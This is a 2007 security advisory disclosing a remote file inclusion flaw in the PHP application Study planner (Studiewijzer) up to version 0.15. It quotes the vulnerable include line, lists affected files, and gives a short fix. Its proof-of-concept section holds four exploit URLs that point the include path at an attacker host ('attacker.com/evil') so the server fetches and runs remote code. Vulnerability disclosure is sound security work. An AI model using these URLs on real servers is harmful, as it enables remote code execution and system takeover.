[ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability
ECHO_ADV_77$2007
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[ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion
Vulnerability
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Author : M.Hasran Addahroni
Date : March, 21th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv77-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Study planner (Studiewijzer)
version : <= 0.15
Vendor : http://www.studiewijzer.nl/
http://sourceforge.net/projects/splanner
Description :
A study planner, helping students to choose and plan the appropriate actions or
tasks in order to reach their goals (PHP based)
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Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at inc/service.alert.inc.php :
----------------inc/service.alert.inc.php-------------------
<?php
/**
* Alerting service
*
* $Author: jebbol $
* $Revision: 1.1 $
* $Date: 2006/08/24 17:33:44 $
*
* @copyright Copyright (c) 2005-2006 Studiewijzer.nl
* @link http://www.studiewijzer.nl
* @license http://www.gnu.org/copyleft/gpl.html
*/
include_once ($SPL_CFG['dirroot'].'/class/stu.class.php');
...
----------------------------------------------------------------
Variables $SPL_CFG['dirroot'] is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this
vulnerability with a simple php injection script.
also affected files :
inc/settings.ses.php
db/mysql/db.inc.php
integration/shortstat/configuration.php
methodology/traditional/class/ali.class.php
methodology/traditional/class/cat.class.php
methodology/traditional/ui/inc/cat_browse.inc.php
methodology/traditional/ui/inc/chr_browse.inc.php
methodology/traditional/ui/inc/chr_display.inc.php
methodology/traditional/ui/inc/dash_browse.inc.php
ws/spl.webservice.php
ws/konfabulator/gateway_admin.php
and more ..
Poc/Exploit:
~~~~~~~~~~
http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil?
Solution:
~~~~~~~
- Sanitize variable $SPL_CFG['dirroot'] on affected file.
- Turn off register_globals
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Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the
breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for
the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua,
stev_manado, nofry, x16
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
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Contact:
~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
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